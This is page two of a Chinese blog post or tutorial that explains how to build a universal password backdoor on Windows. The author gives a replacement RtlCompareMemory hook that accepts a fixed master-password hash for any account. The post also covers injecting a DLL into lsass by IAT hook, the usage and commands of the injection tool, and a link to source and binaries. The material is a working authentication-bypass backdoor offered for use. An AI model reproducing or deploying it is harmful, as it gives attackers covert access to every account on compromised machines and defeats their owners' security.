利用IAT hook实现windows通用密码后门

经过调试我发现这个函数就是我要找的那个“最底层的函数”。

SIZE_T
  RtlCompareMemory(
    IN CONST VOID  *Source1,
    IN CONST VOID  *Source2,
    IN SIZE_T  Length
    );

RtlCompareMemory in MSDN
并且我还发现了验证密码时这个函数3个参数的细节，
Source1是从SAM中取出的用户密码的Unicode形式的md4哈希，
Source2是用户输入的密码的Unicode形式的md4哈希，
Length总是16，因为md4的哈希就是16位。
很容易我写出了下面这个替代的函数：

int WINAPI MyRtlCompareMemory(void *a, void *b, int len) {
    if (len == 16 && pRtlCompareMemory(PASSWD_HASH, b, len) == 16)
        return 16;
    return pRtlCompareMemory(a, b, len);
}

其中pRtlCompareMemory是全局变量，是真正的RtlCompareMemory的地址，PASSWD_HASH是通用密码的哈希。
使用MyRtlCompareMemory来hook掉RtlCompareMemory，就可以实现预定的功能了。
如果要比较的是16位的，并且第二段内存与我们的哈希一样那就直接放行，不管第一段内存是什么。
也许有朋友会问，你这是hook了msv1_0模块内所有调用RtlCompareMemory的地方，不会出错吗？
放心吧，哪有那么巧，要比较的是16位的而且第二段内存又和我们的哈希一模一样？

要hook这个函数有很多方法，
我选择了最懒的一种，IAT hook+dll注入。
于是我写了一个小工具来注入dll：DllInject

C:\Documents and Settings\cly\桌面\bin>InjectDll.exe
InjectDll v0.1
Inject/UnInject a dll file to a process, by cly, at 20080522
Usage:
    InjectDll.exe (-i | -u | -U) pid filename
    -i: Inject
    -u: UnInject once
    -U: UnInject at all

passdoor.dll是要注入到lsass进程的dll，这个dll在DllMain中实现了IAT hook，很土的技术了，就不贴代码了，网上一搜一箩筐。

然后我又写了一个小工具：pdconfig
其实就是改passdoor.dll中的哈希，以免要换密码是又要重新编译passdoor.dll。

使用方法：

InjectDll.exe -i pid_of_lsass full_path_of_passdoor.dll

卸载方法：

InjectDll.exe -U pid_of_lsass full_path_of_passdoor.dll

http://clyfish.googlepages.com/passdoor.rar

这里是本文中相关工具的源码以及编译好的二进制文件。
其中包括InjectDll.exe, passdoor.dll和pdconfig.exe，所有代码均使用MingW gcc4.2.1编译。

上一页  [1] [2]